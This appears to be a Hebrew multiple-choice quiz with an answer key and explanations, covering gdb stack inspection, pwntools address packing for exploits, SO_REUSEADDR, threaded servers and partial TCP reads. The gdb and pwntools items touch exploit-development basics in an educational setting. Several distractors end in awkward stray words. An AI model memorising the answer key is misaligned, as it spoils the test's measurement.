  • א. 40 dwords (int) החל מ-ESP בהקסדצימלי, כלומר תוכן ה-Stack
  • ב. 40 בתים החל ממצביע הבסיס EBP, בייצוג הקסדצימלי מלא ורציף
  • ג. 40 הוראות Assembly החל ממונה התוכנית EIP הנוכחי והלאה
  • ד. 40 תווי ASCII קריאים החל מראש ה-Stack שעליו מצביע ESP
תשובה: א

✓ תשובה: א) — x/Nf addr: N=כמות, f=פורמט (x=hex, s=string, i=instruction). x/40x $esp = 40 dwords בhex מ-ESP. חיוני לראות את הStack ולמצוא Return Address, Canary, וכדומה.

שאלה 5.3 — p32 vs b'\x..' · מדוע p32(0x080491b6) עדיף על b'\x08\x04\x91\xb6' בpwntools?

  • א. p32() מוסיפה NULL bytes בקצה, ולכן היא נוחה יותר לשימוש
  • ב. p32() ממיר אוטומטית ל-Little-Endian; הכתיבה הידנית כאן הפוכה
  • ג. אין כל הבדל מעשי בין שתי הדרכים, והבחירה היא עניין של טעם
  • ד. הפונקציה p32() פועלת אך ורק בסביבת 64-bit ולא בסביבת 32-bit
תשובה: ב

✓ תשובה: ב) — x86 = Little-Endian. p32(0x080491b6)=b'\xb6\x91\x04\x08' (הפוך). b'\x08\x04\x91\xb6' = Big-Endian = שגוי ל-x86! p64() ל-64bit. u32()/u64() לhהמרה הפוכה (קריאה מ-Stack).

שאלה 6.1 [קל] · מה עושה SO_REUSEADDR?

SO_REUSEADDR
  • א. מאיץ את חיבורי הרשת: הנחה שגויה, אף ש-SO_REUSEADDR עוסק בשחרור מהיר של הפורט ל-bind חוזר ולא במהירות התעבורה עצמה של החיבורים כאן כן
  • ב. מאפשר לבצע bind לפורט שנמצא במצב TIME_WAIT — בלעדיו הפעלה חוזרת של שרת מיד לאחר סגירה נכשלת עם השגיאה Address already in use בפועל
  • ג. מצפין את חיבור ה-Socket: הנחה שגויה, אף שהצפנה מסופקת על ידי TLS, ו-SO_REUSEADDR רק מתיר bind חוזר לפורט שעדיין ב-TIME_WAIT בלבד
  • ד. מגביל את מספר הלקוחות: הנחה שגויה, אף שאין כאן הגבלת לקוחות, וה-Option רק מאפשר לשרת לתפוס מחדש פורט שנתקע במצב TIME_WAIT לאחר סגירה כן
תשובה: ב

✓ תשובה נכונה: ב — SO_REUSEADDR מתיר bind לפורט ב-TIME_WAIT. בלעדיו: 'Address already in use' בהפעלה מחדש מהירה. חובה כמעט בכל שרת TCP.

שאלה 6.2 [בינוני] · למה שרת משתמש ב-Threading לכל Client?

Threading
  • א. כדי לחסוך בזיכרון RAM: הנחה שגויה, אף ש-Threads דווקא צורכים זיכרון נוסף, והסיבה האמיתית היא מקביליות שמונעת מ-recv החוסם לתקוע לקוחות כן
  • ב. כדי להצפין כל חיבור: הנחה שגויה, אף שהצפנה אינה קשורה ל-Threading, וה-Thread לכל לקוח נועד למנוע מ-recv החוסם לעצור לקוחות אחרים כאן כן
  • ג. כדי להאיץ את המעבד: הנחה שגויה, אף שריבוי Threads אינו מאיץ מעבד, אלא מאפשר לשרת לטפל בכמה לקוחות במקביל למרות ש-recv חוסם בכל אחד
  • ד. משום שהקריאה recv חוסמת, ו-Thread לכל Client מבטיח שלקוח אחד לא יחסום את האחרים — בלי Threading השרת נתקע על לקוח יחיד ולא מטפל בשאר
תשובה: ד

✓ תשובה נכונה: ד — recv() חוסם עד שמגיע מידע. Thread per Client = טיפול מקבילי, לקוח לא חוסם אחרים. חלופות מודרניות: async/epoll (I/O ריבוי).

שאלה 6.3 [קשה] · שרת שולח פרוטוקול [LENGTH(2)][DATA(LENGTH)]. הלקוח קרא רק חלק מהנתונים. למה?

[LENGTH(2)][DATA(LENGTH)]
  • א. כי הרשת איטית מדי: הנחה שגויה, אף שמהירות אינה הסיבה, ה-TCP הוא זרם בתים ולכן recv עלול להחזיר חלק מההודעה, ויש ללולל עד לקבלת הכול בפועל
  • ב. כי הפרוטוקול פגום: הנחה שגויה, אף שהפרוטוקול תקין לחלוטין, TCP הוא זרם רציף ולכן recv בודד עלול להחזיר פחות בתים מהאורך שהוכרז כאן כן
  • ג. כי TCP הוא Stream של בתים ולא הודעות — recv עלול להחזיר פחות בתים מ-LENGTH, ולכן חובה ללולל ולקרוא שוב ושוב עד שמצטברים כל הבתים שהוכרזו
  • ד. כי LENGTH שגוי: הנחה שגויה, אף שהאורך המוכרז נכון, טבע ה-Stream של TCP גורם ל-recv להחזיר לעיתים חלק מהנתונים, ולכן נדרש לולאת קריאה בכל מקרה
תשובה: ג

✓ תשובה נכונה: ג — TCP = Stream, לא Messages. recv() עשוי להחזיר פחות מ-LENGTH בתים. פתרון: קרא את ה-LENGTH, ואז לולל recv עד שנצברו בדיוק LENGTH בתים.